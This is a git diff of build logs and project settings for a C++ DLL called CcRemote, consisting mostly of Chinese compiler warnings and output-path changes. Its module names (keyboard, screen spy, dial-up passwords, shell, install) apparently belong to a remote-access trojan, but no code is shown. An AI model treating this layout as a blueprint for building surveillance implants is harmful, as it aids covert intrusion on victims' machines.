diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo index c4a1525..dd3ee90 100644 Binary files a/CcMainDll/.vs/CcMainDll/v15/.suo and b/CcMainDll/.vs/CcMainDll/v15/.suo differ diff --git a/CcMainDll/CcMainDll/CcMainDll.vcxproj b/CcMainDll/CcMainDll/CcMainDll.vcxproj index d73f5b2..26c0eaa 100644 --- a/CcMainDll/CcMainDll/CcMainDll.vcxproj +++ b/CcMainDll/CcMainDll/CcMainDll.vcxproj @@ -72,14 +72,14 @@ <PropertyGroup Label="UserMacros" /> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <LinkIncremental>true</LinkIncremental> - <OutDir>..\bin\server\</OutDir> + <OutDir>..\..\bin\server</OutDir> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <LinkIncremental>true</LinkIncremental> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <LinkIncremental>false</LinkIncremental> - <OutDir>..\bin\server</OutDir> + <OutDir>..\..\bin\server</OutDir> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <LinkIncremental>false</LinkIncremental> diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log b/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log index afa5faf..fae17d0 100644 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log +++ b/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log @@ -1,36 +1 @@ -g:\ccremote\ccremote\ccmaindll\bin\server\ccmaindll.lib -g:\ccremote\ccremote\ccmaindll\bin\server\ccmaindll.exp -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\vc141.idb -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\pch.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\audio.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\until.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\buffer.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\videomanager.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\videocap.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\systemmanager.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\shellmanager.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\screenspy.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\screenmanager.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\regeditex.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\manager.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\keyboardmanager.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\kernelmanager.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\install.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\dialupass.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj -g:\ccremote\ccremote\ccmaindll\bin\server\ccmaindll.ilk -g:\ccremote\ccremote\ccmaindll\bin\server\ccmaindll.dll -g:\ccremote\ccremote\ccmaindll\bin\server\ccmaindll.pdb -g:\ccremote\ccremote\ccmaindll\ccmaindll\..\bin\server\ccmaindll.dll -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\ccmaindll.write.1u.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.log b/CcMainDll/CcMainDll/Debug/CcMainDll.log index 5e92904..3b34691 100644 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.log +++ b/CcMainDll/CcMainDll/Debug/CcMainDll.log @@ -1,104 +1,108 @@ -cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” +C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 +cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” pch.cpp cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” Audio.cpp -g:\ccremote\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配 +f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配 cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” ClientSocket.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配 Buffer.cpp until.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决 - g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决 - g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决 + d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决 + d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 正在生成代码... cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” AudioManager.cpp Dialupass.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决 - g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决 + d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 install.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 KernelManager.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配 KeyboardManager.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配 Manager.cpp RegEditEx.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 ScreenManager.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义 - g:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义 + d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义 ScreenSpy.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(363): warning C4018: “>”: 有符号/无符号不匹配 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(384): warning C4018: “<”: 有符号/无符号不匹配 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(403): warning C4018: “<”: 有符号/无符号不匹配 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(363): warning C4018: “>”: 有符号/无符号不匹配 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(384): warning C4018: “<”: 有符号/无符号不匹配 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(403): warning C4018: “<”: 有符号/无符号不匹配 ShellManager.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 SystemManager.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(111): warning C4018: “<”: 有符号/无符号不匹配 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(111): warning C4018: “<”: 有符号/无符号不匹配 VideoCap.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量 VideoManager.cpp 正在生成代码... cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” FileManager.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值 cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” dllmain.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决 - g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(166): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决 + d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(166): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略 - CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\CcMainDll\..\bin\server\CcMainDll.dll + LINK : 没有找到 ..\..\bin\server\CcMainDll.dll 或上一个增量链接没有生成它;正在执行完全链接 + 正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp +LINK : warning LNK4098: 默认库“LIBCMT”与其他库的使用冲突;请使用 /NODEFAULTLIB:library + CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate b/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate index 03e57a1..bd1e4f2 100644 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate +++ b/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate @@ -1,2 +1,2 @@ #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 -Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\| +Debug|Win32|F:\myapp\CcRemote\CcMainDll\| diff --git a/CcMainDll/CcMainDll/Debug/dllmain.obj.enc b/CcMainDll/CcMainDll/Debug/dllmain.obj.enc deleted file mode 100644 index 6f123a1..0000000 Binary files a/CcMainDll/CcMainDll/Debug/dllmain.obj.enc and /dev/null differ diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log b/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log deleted file mode 100644 index 798b79c..0000000 --- a/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log +++ /dev/null @@ -1,36 +0,0 @@ -g:\ccremote\ccremote\ccmaindll\bin\server\server.dll\ccmaindll.lib -g:\ccremote\ccremote\ccmaindll\bin\server\server.dll\ccmaindll.exp 